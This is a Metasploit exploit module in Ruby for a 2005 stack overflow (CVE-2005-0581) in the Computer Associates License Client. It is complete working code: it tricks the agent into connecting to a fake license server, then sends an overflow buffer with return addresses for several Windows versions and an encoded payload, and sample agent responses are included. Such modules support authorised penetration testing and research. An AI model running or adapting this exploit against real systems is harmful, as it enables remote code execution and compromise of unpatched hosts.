## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Computer Associates License Client GETCONFIG Overflow', 'Description' => %q{ This module exploits a vulnerability in the CA License Client service. This exploit will only work if your IP address can be resolved from the target system point of view. This can be accomplished on a local network by running the 'nmbd' service that comes with Samba. If you are running this exploit from Windows and do not filter udp port 137, this should not be a problem (if the target is on the same network segment). Due to the bugginess of the software, you are only allowed one connection to the agent port before it starts ignoring you. If it wasn't for this issue, it would be possible to repeatedly exploit this bug. }, 'Author' => [ 'hdm', # original msf v2 module 'aushack', # msf v3 port :) ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2005-0581' ], [ 'OSVDB', '14389' ], [ 'BID', '12705' ], [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=213' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 600, 'BadChars' => "\x00\x20", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ # As much as I would like to return back to the DLL or EXE, # all of those modules have a leading NULL in the # loaded @ address :( # name, jmp esi, writable, jmp edi #['Automatic', {} ], # # aushack - tested OK Windows XP English SP0-1 only 20100214 ['Windows 2000 English', { 'Rets' => [ 0x750217ae, 0x7ffde0cc, 0x75021421 ] } ], # ws2help.dll esi + peb + edi ['Windows XP English SP0-1', { 'Rets' => [ 0x71aa16e5, 0x7ffde0cc, 0x71aa19e8 ] } ], # ws2help.dll esi + peb + edi ['Windows XP English SP2', { 'Rets' => [ 0x71aa1b22, 0x71aa5001, 0x71aa1e08 ] } ], # ws2help.dll esi + .data + edi ['Windows 2003 English SP0', { 'Rets' => [ 0x71bf175f, 0x7ffde0cc, 0x71bf1a2c ] } ], # ws2help.dll esi + peb + edi ], 'DisclosureDate' => '2005-03-02')) register_options( [ Opt::RPORT(10203), OptPort.new('SRVPORT', [ true, "Fake CA License Server Port", 10202 ]), ]) end #def check # It is possible to check, but due to a software bug, checking prevents exploitation #end def exploit if (connect) sock.put("A0 GETSERVER\n") print_status("Initial packet sent to remote agent...") disconnect fakecaservice = Rex::Socket::TcpServer.create( 'LocalHost' => '0.0.0.0', 'LocalPort' => datastore['SRVPORT'], 'SSL' => false, 'Context' => { 'Msf' => framework, 'MsfExploit' => self, }) add_socket(fakecaservice) fakecaservice.start print_status("Waiting for the license agent to connect back...") begin Timeout.timeout(3) do done = false while (not done and session = fakecaservice.accept) print_status("Accepted connection from agent #{Rex::Socket.source_address(rhost)}..") session.put("A0 GETCONFIG SELF 0") req = session.recvfrom(2000)[0] next if not req next if req.empty? if (req =~ /OS\<([^\>]+)/) print_status("Target reports OS: #{$1}") end # exploits two different versions at once >:-) # 144 -> return address of esi points to string middle # 196 -> return address of edi points to string beginning # 148 -> avoid exception by patching with writable address # 928 -> seh handler (not useful under XP SP2) buff = rand_text_alphanumeric(900) buff[142, 2] = Rex::Arch::X86.jmp_short(8) # jmp over addresses buff[144, 4] = [target['Rets'][0]].pack('V') # jmp esi buff[148, 4] = [target['Rets'][1]].pack('V') # writable address buff[194, 2] = Rex::Arch::X86.jmp_short(4) # jmp over address buff[196, 4] = [target['Rets'][2]].pack('V') # jmp edi buff[272, payload.encoded.length] = payload.encoded sploit = "A0 GETCONFIG SELF #{buff}" session.put(sploit) session.close end end ensure handler fakecaservice.close return end end end end =begin eTrust: A0 GCR HOSTNAMEHARDWARELOCALEIDENT1IDENT2IDENT3IDENT4OSOLFFILE<0 0 0>SERVERVERSION<0 1.61.0>NETWORK<192.168.3.22 unknown 255.255.255.0>MACHINECHECKSUMS<0 0 0 0 0 0 0 00 0 0 0>RMTV<1.3.1> BrightStor: A0 GCR HOSTNAMEHARDWARELOCALEIDENT1IDENT2IDENT3IDENT4OSOLFFILE<0 0 0>SERVERVERSION<3 1.54.0>NETWORK<11.11.11.111 unknown 255.255.255.0>MACHINECHECKSUMS<0 0 0 0 0 0 0 0 0 0 0 0>RMTV<1.00> lic98rmt.exe v0.1.0.15: A0 GCR HOSTNAMEHARDWARELOCALEIDENT1IDENT2IDENT3IDENT4OSOLFFILE<0 0 0>SERVERVERSION<3 1.61.0>NETWORK<192.168.139.128 unknown 255.255.255.0>MACHINECHECKSUMS<0 0 0 0 0 0 0 0 0 0 0 0>RMTV<1.00> =end

Query Builder